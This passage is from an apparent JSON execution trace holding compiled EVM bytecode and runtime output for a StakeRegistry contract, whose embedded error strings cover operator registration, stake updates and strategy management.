565b61027f610345366004612f85565b610ccd565b61035d610358366004612d89565b6110e3565b6040516001600160c01b039091168152602001610217565b61039c7f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c81565b6040516001600160a01b039091168152602001610217565b6103bc602081565b60405160ff9091168152602001610217565b6103e16103dc366004613046565b611240565b6040516102179190613098565b61039c6103fc366004612be5565b6114f5565b61041461040f3660046130d6565b61152d565b6040516102179190613109565b61043461042f366004612be5565b6115c5565b6040805182516001600160a01b031681526020928301516001600160601b03169281019290925201610217565b61041461046f366004612be5565b61163f565b61027f61048236600461315a565b6116ce565b61027f610495366004613184565b6117c7565b6102546104a8366004612bca565b6000602081905290815260409020546001600160601b031681565b61027f6104d136600461324f565b6118e9565b6102546104e436600461329c565b6119dd565b6102546104f7366004612bca565b611a5b565b61050f61050a3660046132d9565b611aae565b60405163ffffffff9091168152602001610217565b61039c7f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b610254610559366004613315565b611ac3565b61041461056c366004612e4e565b611b58565b61025461057f3660046132d9565b611c41565b61027f610592366004613357565b611ca2565b600360205281600052604060002081815481106105b357600080fd5b6000918252602090912001546001600160a01b0381169250600160a01b90046001600160601b0316905082565b60ff8216600090815260016020526040812054839061061a5760405162461bcd60e51b8152600401610611906133b4565b60405180910390fd5b60006106268585611e0d565b509250505b5092915050565b7f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c6001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610690573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b49190613405565b6001600160a01b0316336001600160a01b0316146106e45760405162461bcd60e51b815260040161061190613422565b846107008160ff16600090815260016020526040902054151590565b61071c5760405162461bcd60e51b8152600401610611906133b4565b8380610792576040805162461bcd60e51b81526020600482015260248101919091527f5374616b6552656769737472792e6d6f6469667953747261746567795061726160448201527f6d733a206e6f20737472617465677920696e64696365732070726f76696465646064820152608401610611565b8281146108075760405162461bcd60e51b815260206004820152603960248201527f5374616b6552656769737472792e6d6f6469667953747261746567795061726160448201527f6d733a20696e707574206c656e677468206d69736d61746368000000000000006064820152608401610611565b60ff87166000908152600360205260408120905b8281101561094e578585828181106108355761083561349e565b905060200201602081019061084a91906134b4565b8289898481811061085d5761085d61349e565b90506020020135815481106108745761087461349e565b9060005260206000200160000160146101000a8154816001600160601b0302191690836001600160601b031602179055508860ff167f11a5641322da1dff56a4b66eaac31ffa465295ece907cd163437793b4d009a75838a8a858181106108dd576108dd61349e565b90506020020135815481106108f4576108f461349e565b6000918252602090912001546001600160a01b031688888581811061091b5761091b61349e565b905060200201602081019061093091906134b4565b60405161093e929190612c0f565b60405180910390a260010161081b565b505050505050505050565b606080336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c16146109a45760405162461bcd60e51b8152600401610611906134cf565b6000836001600160401b038111156109be576109be612ef4565b6040519080825280602002602001820160405280156109e7578160200160208202803683370190505b5090506000846001600160401b03811115610a0457610a04612ef4565b604051908082528060200260200182016040528015610a2d578160200160208202803683370190505b50905060005b85811015610c07576000878783818110610a4f57610a4f61349e565b919091013560f81c60008181526001602052604090205490925015159050610ad75760405162461bcd60e51b815260206004820152603560248201527f5374616b6552656769737472792e72656769737465724f70657261746f723a206044820152741c5d5bdc9d5b48191bd95cc81b9bdd08195e1a5cdd605a1b6064820152608401610611565b600080610ae4838d611e0d565b9150915080610b815760405162461bcd60e51b815260206004820152605b60248201527f5374616b6552656769737472792e72656769737465724f70657261746f723a2060448201527f4f70657261746f7220646f6573206e6f74206d656574206d696e696d756d207360648201527f74616b6520726571756972656d656e7420666f722071756f72756d0000000000608482015260a401610611565b6000610b8e8c8585612001565b905082878681518110610ba357610ba361349e565b60200260200101906001600160601b031690816001600160601b031681525050610bcd8482612280565b868681518110610bdf57610bdf61349e565b6001600160601b0390921660209283029190910190910152505060019092019150610a339050565b509097909650945050505050565b600082815260026020908152604080832060ff851684528252808320805482518185028101850190935280835260609492939192909184015b82821015610ca7576000848152602090819020604080516060810182529185015463ffffffff8082168452600160201b82041683850152600160401b90046001600160601b031690820152825260019092019101610c4e565b5050505090505b92915050565b600080610cc18484611b58565b60400151949350505050565b7f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c6001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4f9190613405565b6001600160a01b0316336001600160a01b031614610d7f5760405162461bcd60e51b815260040161061190613422565b81610d9b8160ff16600090815260016020526040902054151590565b610db75760405162461bcd60e51b8152600401610611906133b4565b815180610e2c5760405162461bcd60e51b815260206004820152603d60248201527f5374616b6552656769737472792e72656d6f7665537472617465676965733a2060448201527f6e6f20696e646963657320746f2072656d6f76652070726f76696465640000006064820152608401610611565b60ff841660009081526003602090815260408083206004909252822090915b838110156110da578660ff167f31fa2e2cd280c9375e13ffcf3d81e2378100186e4058f8d3ddb690b82dcd31f784888481518110610e8b57610e8b61349e565b602002602001015181548110610ea357610ea361349e565b600091825260209182902001546040516001600160a01b0390911681520160405180910390a28660ff167f11a5641322da1dff56a4b66eaac31ffa465295ece907cd163437793b4d009a7584888481518110610f0157610f0161349e565b602002602001015181548110610f1957610f1961349e565b600091825260208083209190910154604080516001600160a01b039092168252918101929092520160405180910390a282548390610f5990600190613557565b81548110610f6957610f6961349e565b9060005260206000200183878381518110610f8657610f8661349e565b602002602001015181548110610f9e57610f9e61349e565b600091825260209091208254910180546001600160a01b0319166001600160a01b03909216918217815591546001600160601b03600160a01b9182900416021790558254839080610ff157610ff161356a565b6000828152602081208201600019908101919091550190558154829061101990600190613557565b815481106110295761102961349e565b9060005260206000200160009054906101000a90046001600160a01b03168287838151811061105a5761105a61349e565b6020026020010151815481106110725761107261349e565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550818054806110b0576110b061356a565b600082815260209020810160001990810180546001600160a01b0319169055019055600101610e4b565b50505050505050565b6000336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c161461112d5760405162461bcd60e51b8152600401610611906134cf565b6000805b8381101561123657600085858381811061114d5761114d61349e565b919091013560f81c600081815260016020526040902054909250151590506111dd5760405162461bcd60e51b815260206004820152603860248201527f5374616b6552656769737472792e7570646174654f70657261746f725374616b60448201527f653a2071756f72756d20646f6573206e6f7420657869737400000000000000006064820152608401610611565b6000806111ea838b611e0d565b915091508061120c5760009150600160ff84161b6001600160c01b0386161794505b60006112198a8585612001565b90506112258482612280565b505060019093019250611131915050565b5095945050505050565b60606000826001600160401b0381111561125c5761125c612ef4565b604051908082528060200260200182016040528015611285578160200160208202803683370190505b50905060005b838110156114ea5760008585838181106112a7576112a761349e565b919091013560f81c600081815260016020526040902054909250151590506113465760405162461bcd60e51b815260206004820152604660248201527f5374616b6552656769737472792e676574546f74616c5374616b65496e64696360448201527f65734174426c6f636b4e756d6265723a2071756f72756d20646f6573206e6f7460648201526508195e1a5cdd60d21b608482015260a401610611565b60ff81166000908152600160205260408120805463ffffffff8a16929061136f5761136f61349e565b60009182526020909120015463ffffffff16111561141b5760405162461bcd60e51b815260206004820152605b60248201527f5374616b6552656769737472792e676574546f74616c5374616b65496e64696360448201527f65734174426c6f636b4e756d6265723a2071756f72756d20686173206e6f207360648201527f74616b6520686973746f727920617420626c6f636b4e756d6265720000000000608482015260a401610611565b60ff8116600090815260016020526040812054905b818110156114df5760ff8316600090815260016020819052604090912063ffffffff8b169161145f8486613557565b6114699190613557565b815481106114795761147961349e565b60009182526020909120015463ffffffff16116114d757600161149c8284613557565b6114a69190613557565b8585815181106114b8576114b861349e565b602002602001019063ffffffff16908163ffffffff16815250506114df565b600101611430565b50505060010161128b565b5090505b9392505050565b6004602052816000526040600020818154811061151157600080fd5b6000918252602090912001546001600160a01b03169150829050565b60408051606081018252600080825260208083018290528284018290528582526002815283822060ff881683529052919091208054839081106115725761157261349e565b600091825260209182902060408051606081018252929091015463ffffffff8082168452600160201b82041693830193909352600160401b9092046001600160601b031691810191909152949350505050565b604080518082019091526000808252602082015260ff831660009081526003602052604090208054839081106115fd576115fd61349e565b6000918252602091829020604080518082019091529101546001600160a01b0381168252600160a01b90046001600160601b0316918101919091529392505050565b604080516060810182526000808252602080830182905282840182905260ff86168252600190529190912080548390811061167c5761167c61349e565b600091825260209182902060408051606081018252929091015463ffffffff8082168452600160201b82041693830193909352600160401b9092046001600160601b0316918101919091529392505050565b7f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c6001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561172c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117509190613405565b6001600160a01b0316336001600160a01b0316146117805760405162461bcd60e51b815260040161061190613422565b8161179c8160ff16600090815260016020526040902054151590565b6117b85760405162461bcd60e51b8152600401610611906133b4565b6117c283836123f7565b505050565b336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c161461180f5760405162461bcd60e51b8152600401610611906134cf565b60005b818110156118e357600083838381811061182e5761182e61349e565b919091013560f81c600081815260016020526040902054909250151590506118be5760405162461bcd60e51b815260206004820152603760248201527f5374616b6552656769737472792e646572656769737465724f70657261746f7260448201527f3a2071756f72756d20646f6573206e6f742065786973740000000000000000006064820152608401610611565b60006118cc86836000612001565b90506118d88282612280565b505050600101611812565b50505050565b7f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c6001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611947573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061196b9190613405565b6001600160a01b0316336001600160a01b03161461199b5760405162461bcd60e51b815260040161061190613422565b816119b78160ff16600090815260016020526040902054151590565b6119d35760405162461bcd60e51b8152600401610611906133b4565b6117c28383612460565b60ff83166000908152600160205260408120805482919084908110611a0457611a0461349e565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160601b03600160401b90930492909216908201529050610cc1818561288e565b60ff81166000908152600160208190526040822080549091611a7c91613557565b81548110611a8c57611a8c61349e565b600091825260209091200154600160401b90046001600160601b031692915050565b6000611abb848484612a08565b949350505050565b600082815260026020908152604080832060ff881684529091528120805482919084908110611af457611af461349e565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160601b03600160401b90930492909216908201529050611b4b818661288e565b6040015195945050505050565b6040805160608082018352600080835260208084018290528385018290528682526002815284822060ff8716835281528482205485519384018652828452908301829052938201819052919291829003611bb5579150610cae9050565b600085815260026020908152604080832060ff881684529091529020611bdc600184613557565b81548110611bec57611bec61349e565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160601b03600160401b90930492909216908201529250610cae915050565b600083815260026020908152604080832060ff861684529091528120611c68858585612a08565b63ffffffff1681548110611c7e57611c7e61349e565b600091825260209091200154600160401b90046001600160601b0316949350505050565b336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c1614611cea5760405162461bcd60e51b8152600401610611906134cf565b60ff831660009081526001602052604090205415611d685760405162461bcd60e51b815260206004820152603560248201527f5374616b6552656769737472792e696e697469616c697a6551756f72756d3a2060448201527471756f72756d20616c72656164792065786973747360581b6064820152608401610611565b611d728382612460565b611d7c83836123f7565b505060ff166000908152600160208181526040808420815160608101835263ffffffff438116825281850187815293820187815283549687018455928752939095209451949093018054915193516001600160601b0316600160401b02600160401b600160a01b0319948416600160201b0267ffffffffffffffff1990931695909316949094171791909116179055565b600080600080611e2c8660ff1660009081526003602052604090205490565b604080518082019091526000808252602082015290915060ff871660009081526004602081905260408083209051639004134760e01b81526001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91692639004134792611ea1928c9201613580565b600060405180830381865afa158015611ebe573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611ee691908101906135e2565b905060005b83811015611fcd5760ff89166000908152600360205260409020805482908110611f1757611f1761349e565b60009182526020808320604080518082019091529201546001600160a01b0381168352600160a01b90046001600160601b0316908201528351909450839083908110611f6557611f6561349e565b60200260200101511115611fc557670de0b6b3a764000083602001516001600160601b0316838381518110611f9c57611f9c61349e565b6020026020010151611fae919061366d565b611fb89190613684565b611fc290866136a6565b94505b600101611eeb565b50505060ff8616600090815260208190526040902054919350506001600160601b03908116908316101590505b9250929050565b600083815260026020908152604080832060ff8616845290915281205481908082036120c757600086815260026020908152604080832060ff891684528252808320815160608101835263ffffffff43811682528185018681526001600160601b03808c16958401958652845460018101865594885295909620915191909201805495519351909416600160401b02600160401b600160a01b0319938316600160201b0267ffffffffffffffff1990961691909216179390931716919091179055612226565b600086815260026020908152604080832060ff8916845290915281206120ee600184613557565b815481106120fe576120fe61349e565b600091825260209091200180546001600160601b03600160401b909104811694509091508516830361213657600093505050506114ee565b805463ffffffff43811691160361216e578054600160401b600160a01b031916600160401b6001600160601b03871602178155612224565b805467ffffffff000000001916600160201b4363ffffffff90811682810293909317845560008a815260026020908152604080832060ff8d168452825280832081516060810183529687528683018481526001600160601b038d81169389019384528254600181018455928652939094209651960180549351915196851667ffffffffffffffff1990941693909317931690930291909117600160401b600160a01b031916600160401b93909216929092021790555b505b6040805160ff871681526001600160601b038616602082015287917f2f527d527e95d8fe40aec55377743bb779087da3f6d0d08f12e36444da62327d910160405180910390a26122768285612b6e565b9695505050505050565b60ff8216600090815260016020819052604082208054918391906122a49084613557565b815481106122b4576122b461349e565b906000526020600020019050836000036122e25754600160401b90046001600160601b03169150610cae9050565b805460009061230190600160401b90046001600160601b031686612b86565b825490915063ffffffff43811691160361233c578154600160401b600160a01b031916600160401b6001600160601b038316021782556123ee565b815463ffffffff438116600160201b81810267ffffffff000000001990941693909317855560ff8916600090815260016020818152604080842081516060810183529586528583018581526001600160601b03808b169388019384528254958601835591865292909420945194909201805491519251909316600160401b02600160401b600160a01b031992861690960267ffffffffffffffff19909116939094169290921792909217169190911790555b95945050505050565b60ff82166000818152602081815260409182902080546bffffffffffffffffffffffff19166001600160601b03861690811790915591519182527f26eecff2b70b0a71104ff4d940ba7162d23a95c248771fc487a7be17a596b3cf910160405180910390a25050565b60008151116124c55760405162461bcd60e51b8152602060048201526038602482015260008051602061374b83398151915260448201527f3a206e6f20737472617465676965732070726f766964656400000000000000006064820152608401610611565b805160ff8316600090815260036020908152604090912054906124e883836136c5565b11156125585760405162461bcd60e51b8152602060048201526045602482015260008051602061374b83398151915260448201527f3a20657863656564204d41585f5745494748494e475f46554e4354494f4e5f4c60648201526408a9c8ea8960db1b608482015260a401610611565b60005b828110156128875760005b61257082846136c5565b811015612646578482815181106125895761258961349e565b6020026020010151600001516001600160a01b0316600360008860ff1660ff16815260200190815260200160002082815481106125c8576125c861349e565b6000918252602090912001546001600160a01b03160361263e5760405162461bcd60e51b815260206004820152603d602482015260008051602061374b83398151915260448201527f3a2063616e6e6f74206164642073616d652073747261746567792032780000006064820152608401610611565b600101612566565b50600084828151811061265b5761265b61349e565b6020026020010151602001516001600160601b0316116126e05760405162461bcd60e51b8152602060048201526046602482015260008051602061374b83398151915260448201527f3a2063616e6e6f74206164642073747261746567792077697468207a65726f206064820152651dd95a59da1d60d21b608482015260a401610611565b60ff8516600090815260036020526040902084518590839081106127065761270661349e565b602090810291909101810151825460018101845560009384528284208251928401516001600160601b0316600160a01b026001600160a01b039093169290921791015560ff871682526004905260409020845185908390811061276b5761276b61349e565b6020908102919091018101515182546001810184556000938452919092200180546001600160a01b0319166001600160a01b03909216919091179055835160ff8616907f10565e56cacbf32eca267945f054fec02e59750032d113d3302182ad967f5404908690849081106127e2576127e261349e565b602090810291909101810151516040516001600160a01b0390911681520160405180910390a28460ff167f11a5641322da1dff56a4b66eaac31ffa465295ece907cd163437793b4d009a7585838151811061283f5761283f61349e565b60200260200101516000015186848151811061285d5761285d61349e565b602002602001015160200151604051612877929190612c0f565b60405180910390a260010161255b565b5050505050565b816000015163ffffffff168163ffffffff1610156129335760405162461bcd60e51b815260206004820152605660248201527f5374616b6552656769737472792e5f76616c69646174655374616b655570646160448201527f74654174426c6f636b4e756d6265723a207374616b6555706461746520697320606482015275333937b69030b33a32b910313637b1b5a73ab6b132b960511b608482015260a401610611565b602082015163ffffffff1615806129595750816020015163ffffffff168163ffffffff16105b612a045760405162461bcd60e51b815260206004820152606a60248201527f5374616b6552656769737472792e5f76616c69646174655374616b655570646160448201527f74654174426c6f636b4e756d6265723a2074686572652069732061206e65776560648201527f72207374616b6555706461746520617661696c61626c65206265666f726520626084820152693637b1b5a73ab6b132b960b11b60a482015260c401610611565b5050565b600083815260026020908152604080832060ff86168452909152812054805b8015612aa957600086815260026020908152604080832060ff89168452909152902063ffffffff851690612a5c600184613557565b81548110612a6c57612a6c61349e565b60009182526020909120015463ffffffff1611612a9757612a8e600182613557565b925050506114ee565b80612aa1816136d8565b915050612a27565b5060405162461bcd60e51b815260206004820152608160248201527f5374616b6552656769737472792e5f6765745374616b65557064617465496e6460448201527f6578466f724f70657261746f724174426c6f636b4e756d6265723a206e6f207360648201527f74616b652075706461746520666f756e6420666f72206f70657261746f72496460848201527f20616e642071756f72756d4e756d62657220617420626c6f636b206e756d626560a4820152603960f91b60c482015260e401610611565b60006114ee6001600160601b038085169084166136ef565b600080821215612baa57612b998261370f565b612ba3908461372b565b9050610cae565b612ba382846136a6565b803560ff81168114612bc557600080fd5b919050565b600060208284031215612bdc57600080fd5b6114ee82612bb4565b60008060408385031215612bf857600080fd5b612c0183612bb4565b946020939093013593505050565b6001600160a01b039290921682526001600160601b0316602082015260400190565b6001600160a01b0381168114612c4657600080fd5b50565b60008060408385031215612c5c57600080fd5b612c6583612bb4565b91506020830135612c7581612c31565b809150509250929050565b60008083601f840112612c9257600080fd5b5081356001600160401b03811115612ca957600080fd5b6020830191508360208260051b8501011115611ffa57600080fd5b600080600080600060608688031215612cdc57600080fd5b612ce586612bb4565b945060208601356001600160401b03811115612d0057600080fd5b612d0c88828901612c80565b90955093505060408601356001600160401b03811115612d2b57600080fd5b612d3788828901612c80565b969995985093965092949392505050565b60008083601f840112612d5a57600080fd5b5081356001600160401b03811115612d7157600080fd5b602083019150836020828501011115611ffa57600080fd5b60008060008060608587031215612d9f57600080fd5b8435612daa81612c31565b93506020850135925060408501356001600160401b03811115612dcc57600080fd5b612dd887828801612d48565b95989497509550505050565b600081518084526020840193506020830160005b82811015612e1f5781516001600160601b0316865260209586019590910190600101612df8565b5093949350505050565b604081526000612e3c6040830185612de4565b82810360208401526123ee8185612de4565b60008060408385031215612e6157600080fd5b82359150612e7160208401612bb4565b90509250929050565b602080825282518282018190526000918401906040840190835b81811015612ee957612ed383855163ffffffff815116825263ffffffff60208201511660208301526001600160601b0360408201511660408301525050565b6020939093019260609290920191600101612e94565b509095945050505050565b634e487b7160e01b600052604160045260246000fd5b604080519081016001600160401b0381118282101715612f2c57612f2c612ef4565b60405290565b604051601f8201601f191681016001600160401b0381118282101715612f5a57612f5a612ef4565b604052919050565b60006001600160401b03821115612f7b57612f7b612ef4565b5060051b60200190565b60008060408385031215612f9857600080fd5b612fa183612bb4565b915060208301356001600160401b03811115612fbc57600080fd5b8301601f81018513612fcd57600080fd5b8035612fe0612fdb82612f62565b612f32565b8082825260208201915060208360051b85010192508783111561300257600080fd5b6020840193505b82841015613024578335825260209384019390910190613009565b809450505050509250929050565b803563ffffffff81168114612bc557600080fd5b60008060006040848603121561305b57600080fd5b61306484613032565b925060208401356001600160401b0381111561307f57600080fd5b61308b86828701612d48565b9497909650939450505050565b602080825282518282018190526000918401906040840190835b81811015612ee957835163ffffffff168352602093840193909201916001016130b2565b6000806000606084860312156130eb57600080fd5b6130f484612bb4565b95602085013595506040909401359392505050565b60608101610cae828463ffffffff815116825263ffffffff60208201511660208301526001600160601b0360408201511660408301525050565b80356001600160601b0381168114612bc557600080fd5b6000806040838503121561316d57600080fd5b61317683612bb4565b9150612e7160208401613143565b60008060006040848603121561319957600080fd5b8335925060208401356001600160401b0381111561307f57600080fd5b600082601f8301126131c757600080fd5b81356131d5612fdb82612f62565b8082825260208201915060208360061b8601019250858311156131f757600080fd5b602085015b83811015611236576040818803121561321457600080fd5b61321c612f0a565b813561322781612c31565b815261323560208301613143565b6020820152808452506020830192506040810190506131fc565b6000806040838503121561326257600080fd5b61326b83612bb4565b915060208301356001600160401b0381111561328657600080fd5b613292858286016131b6565b9150509250929050565b6000806000606084860312156132b157600080fd5b6132ba84612bb4565b92506132c860208501613032565b929592945050506040919091013590565b6000806000606084860312156132ee57600080fd5b833592506132fe60208501612bb4565b915061330c60408501613032565b90509250925092565b6000806000806080858703121561332b57600080fd5b61333485612bb4565b935061334260208601613032565b93969395505050506040820135916060013590565b60008060006060848603121561336c57600080fd5b61337584612bb4565b925061338360208501613143565b915060408401356001600160401b0381111561339e57600080fd5b6133aa868287016131b6565b9150509250925092565b60208082526031908201527f5374616b6552656769737472792e71756f72756d4578697374733a2071756f726040820152701d5b48191bd95cc81b9bdd08195e1a5cdd607a1b606082015260800190565b60006020828403121561341757600080fd5b81516114ee81612c31565b60208082526056908201527f5374616b6552656769737472792e6f6e6c79436f6f7264696e61746f724f776e60408201527f65723a2063616c6c6572206973206e6f7420746865206f776e6572206f6620746060820152753432903932b3b4b9ba393ca1b7b7b93234b730ba37b960511b608082015260a00190565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156134c657600080fd5b6114ee82613143565b6020808252604c908201527f5374616b6552656769737472792e6f6e6c795265676973747279436f6f72646960408201527f6e61746f723a2063616c6c6572206973206e6f7420746865205265676973747260608201526b3ca1b7b7b93234b730ba37b960a11b608082015260a00190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610cae57610cae613541565b634e487b7160e01b600052603160045260246000fd5b6001600160a01b0383168152604060208083018290528354918301829052600084815290812090916060840190835b818110156135d65783546001600160a01b03168352600193840193602090930192016135af565b50909695505050505050565b6000602082840312156135f457600080fd5b81516001600160401b0381111561360a57600080fd5b8201601f8101841361361b57600080fd5b8051613629612fdb82612f62565b8082825260208201915060208360051b85010192508683111561364b57600080fd5b6020840193505b82841015612276578351825260209384019390910190613652565b8082028115828204841417610cae57610cae613541565b6000826136a157634e487b7160e01b600052601260045260246000fd5b500490565b6001600160601b038181168382160190811115610cae57610cae613541565b80820180821115610cae57610cae613541565b6000816136e7576136e7613541565b506000190190565b818103600083128015838313168383128216171561062b5761062b613541565b6000600160ff1b820161372457613724613541565b5060000390565b6001600160601b038281168282160390811115610cae57610cae61354156fe5374616b6552656769737472792e5f6164645374726174656779506172616d73a2646970667358221220ade96e3ade679b88daf0a3f2ca01448425dba1d13a0dbd3a632fb89841cd4fea64736f6c634300081c0033","gas_used":2851633,"gas_limit":3789353,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[]}],"exit":"Return","out":"0x608060405234801561001057600080fd5b50600436106101e55760003560e01c80639f3ccf651161010f578063c8294c56116100a2578063f2be94ae11610071578063f2be94ae1461054b578063f851e1981461055e578063fa28c62714610571578063ff694a771461058457600080fd5b8063c8294c56146104d6578063d5eccc05146104e9578063dd9846b9146104fc578063df5cf7231461052457600080fd5b8063bc9a40c3116100de578063bc9a40c314610474578063bd29b8cd14610487578063c46778a51461049a578063c601527d146104c357600080fd5b80639f3ccf65146103ee578063ac6bfb0314610401578063adc804da14610421578063b6904b781461046157600080fd5b80634bd26e091161018757806366acfefe1161015657806366acfefe1461034a5780636d14a987146103755780637c172347146103b457806381c07502146103ce57600080fd5b80634bd26e09146102e55780635401ed27146103155780635e5a6775146103285780635f1f2d771461033757600080fd5b806320b66298116101c357806320b662981461026c57806325504777146102815780632cd95940146102a25780633ca5a5f5146102c257600080fd5b80630491b41c146101ea57806308732461146102205780631f9b74e014610241575b600080fd5b61020d6101f8366004612bca565b60ff1660009081526001602052604090205490565b6040519081526020015b60405180910390f35b61023361022e366004612be5565b610597565b604051610217929190612c0f565b61025461024f366004612c49565b6105e0565b6040516001600160601b039091168152602001610217565b61027f61027a366004612cc4565b610632565b005b61029461028f366004612d89565b610959565b604051610217929190612e29565b6102b56102b0366004612e4e565b610c15565b6040516102179190612e7a565b61020d6102d0366004612bca565b60ff1660009081526003602052604090205490565b61020d6102f3366004612e4e565b600091825260026020908152604080842060ff93909316845291905290205490565b610254610323366004612e4e565b610cb4565b61020d670de0b6b3a764000081565b61027f610345366004612f85565b610ccd565b61035d610358366004612d89565b6110e3565b6040516001600160c01b039091168152602001610217565b61039c7f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c81565b6040516001600160a01b039091168152602001610217565b6103bc602081565b60405160ff9091168152602001610217565b6103e16103dc366004613046565b611240565b6040516102179190613098565b61039c6103fc366004612be5565b6114f5565b61041461040f3660046130d6565b61152d565b6040516102179190613109565b61043461042f366004612be5565b6115c5565b6040805182516001600160a01b031681526020928301516001600160601b03169281019290925201610217565b61041461046f366004612be5565b61163f565b61027f61048236600461315a565b6116ce565b61027f610495366004613184565b6117c7565b6102546104a8366004612bca565b6000602081905290815260409020546001600160601b031681565b61027f6104d136600461324f565b6118e9565b6102546104e436600461329c565b6119dd565b6102546104f7366004612bca565b611a5b565b61050f61050a3660046132d9565b611aae565b60405163ffffffff9091168152602001610217565b61039c7f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b610254610559366004613315565b611ac3565b61041461056c366004612e4e565b611b58565b61025461057f3660046132d9565b611c41565b61027f610592366004613357565b611ca2565b600360205281600052604060002081815481106105b357600080fd5b6000918252602090912001546001600160a01b0381169250600160a01b90046001600160601b0316905082565b60ff8216600090815260016020526040812054839061061a5760405162461bcd60e51b8152600401610611906133b4565b60405180910390fd5b60006106268585611e0d565b509250505b5092915050565b7f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c6001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610690573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b49190613405565b6001600160a01b0316336001600160a01b0316146106e45760405162461bcd60e51b815260040161061190613422565b846107008160ff16600090815260016020526040902054151590565b61071c5760405162461bcd60e51b8152600401610611906133b4565b8380610792576040805162461bcd60e51b81526020600482015260248101919091527f5374616b6552656769737472792e6d6f6469667953747261746567795061726160448201527f6d733a206e6f20737472617465677920696e64696365732070726f76696465646064820152608401610611565b8281146108075760405162461bcd60e51b815260206004820152603960248201527f5374616b6552656769737472792e6d6f6469667953747261746567795061726160448201527f6d733a20696e707574206c656e677468206d69736d61746368000000000000006064820152608401610611565b60ff87166000908152600360205260408120905b8281101561094e578585828181106108355761083561349e565b905060200201602081019061084a91906134b4565b8289898481811061085d5761085d61349e565b90506020020135815481106108745761087461349e565b9060005260206000200160000160146101000a8154816001600160601b0302191690836001600160601b031602179055508860ff167f11a5641322da1dff56a4b66eaac31ffa465295ece907cd163437793b4d009a75838a8a858181106108dd576108dd61349e565b90506020020135815481106108f4576108f461349e565b6000918252602090912001546001600160a01b031688888581811061091b5761091b61349e565b905060200201602081019061093091906134b4565b60405161093e929190612c0f565b60405180910390a260010161081b565b505050505050505050565b606080336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c16146109a45760405162461bcd60e51b8152600401610611906134cf565b6000836001600160401b038111156109be576109be612ef4565b6040519080825280602002602001820160405280156109e7578160200160208202803683370190505b5090506000846001600160401b03811115610a0457610a04612ef4565b604051908082528060200260200182016040528015610a2d578160200160208202803683370190505b50905060005b85811015610c07576000878783818110610a4f57610a4f61349e565b919091013560f81c60008181526001602052604090205490925015159050610ad75760405162461bcd60e51b815260206004820152603560248201527f5374616b6552656769737472792e72656769737465724f70657261746f723a206044820152741c5d5bdc9d5b48191bd95cc81b9bdd08195e1a5cdd605a1b6064820152608401610611565b600080610ae4838d611e0d565b9150915080610b815760405162461bcd60e51b815260206004820152605b60248201527f5374616b6552656769737472792e72656769737465724f70657261746f723a2060448201527f4f70657261746f7220646f6573206e6f74206d656574206d696e696d756d207360648201527f74616b6520726571756972656d656e7420666f722071756f72756d0000000000608482015260a401610611565b6000610b8e8c8585612001565b905082878681518110610ba357610ba361349e565b60200260200101906001600160601b031690816001600160601b031681525050610bcd8482612280565b868681518110610bdf57610bdf61349e565b6001600160601b0390921660209283029190910190910152505060019092019150610a339050565b509097909650945050505050565b600082815260026020908152604080832060ff851684528252808320805482518185028101850190935280835260609492939192909184015b82821015610ca7576000848152602090819020604080516060810182529185015463ffffffff8082168452600160201b82041683850152600160401b90046001600160601b031690820152825260019092019101610c4e565b5050505090505b92915050565b600080610cc18484611b58565b60400151949350505050565b7f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c6001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4f9190613405565b6001600160a01b0316336001600160a01b031614610d7f5760405162461bcd60e51b815260040161061190613422565b81610d9b8160ff16600090815260016020526040902054151590565b610db75760405162461bcd60e51b8152600401610611906133b4565b815180610e2c5760405162461bcd60e51b815260206004820152603d60248201527f5374616b6552656769737472792e72656d6f7665537472617465676965733a2060448201527f6e6f20696e646963657320746f2072656d6f76652070726f76696465640000006064820152608401610611565b60ff841660009081526003602090815260408083206004909252822090915b838110156110da578660ff167f31fa2e2cd280c9375e13ffcf3d81e2378100186e4058f8d3ddb690b82dcd31f784888481518110610e8b57610e8b61349e565b602002602001015181548110610ea357610ea361349e565b600091825260209182902001546040516001600160a01b0390911681520160405180910390a28660ff167f11a5641322da1dff56a4b66eaac31ffa465295ece907cd163437793b4d009a7584888481518110610f0157610f0161349e565b602002602001015181548110610f1957610f1961349e565b